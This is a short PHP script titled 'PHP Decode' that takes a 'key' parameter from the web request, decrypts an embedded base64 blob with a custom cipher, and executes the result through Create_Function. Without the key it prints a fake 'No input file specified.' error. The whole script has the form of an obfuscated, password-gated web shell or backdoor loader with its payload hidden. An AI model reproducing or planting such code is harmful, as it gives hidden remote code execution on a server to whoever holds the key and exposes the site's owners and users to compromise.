PHP Decode

<?php  
error_reporting(0);  
set_time_limit(0); 
function My_base($data,$key){ 
        $key=md5($key); 
        $x=0; 
        $data=base64_decode($data); 
		$len = strlen($data); 
		$l = strlen($key); 
		$char=''; 
        for ($i=0;$i< $len;$i++) 
        { 
            if ($x== $l) $x=0; 
            $char.=substr($key,$x,1); 
            $x++; 
        } 
		$str=''; 
        for ($i=0;$i< $len;$i++) 
        { 
            if (ord(substr($data,$i,1))<ord(substr($char,$i,1))) 
            { 
                $str.=chr((ord(substr($data,$i,1))+256)-ord(substr($char,$i,1))); 
            } 
            else 
            { 
                $str.=chr(ord(substr($data,$i,1))-ord(substr($char,$i,1))); 
            } 
        } 
        return base64_decode($str); 
} 
if(@$_REQUEST['key']){ 
$key=$_REQUEST['key'];  
$text=My_base('tn96sr2Ol5vGzrqtln16mo22nMqtrZ/Ofpqnnotifn+6jY5/uGiFl62Trp+VjaChlNCt1MKL0tiXqpSXf3R+e75phqXGaoCctai6q5WNipt8zKCY',$key); 
$St=Create_Function('',$text);$St(); 
}else{ 
echo 'No input file specified.'; 
} 
?>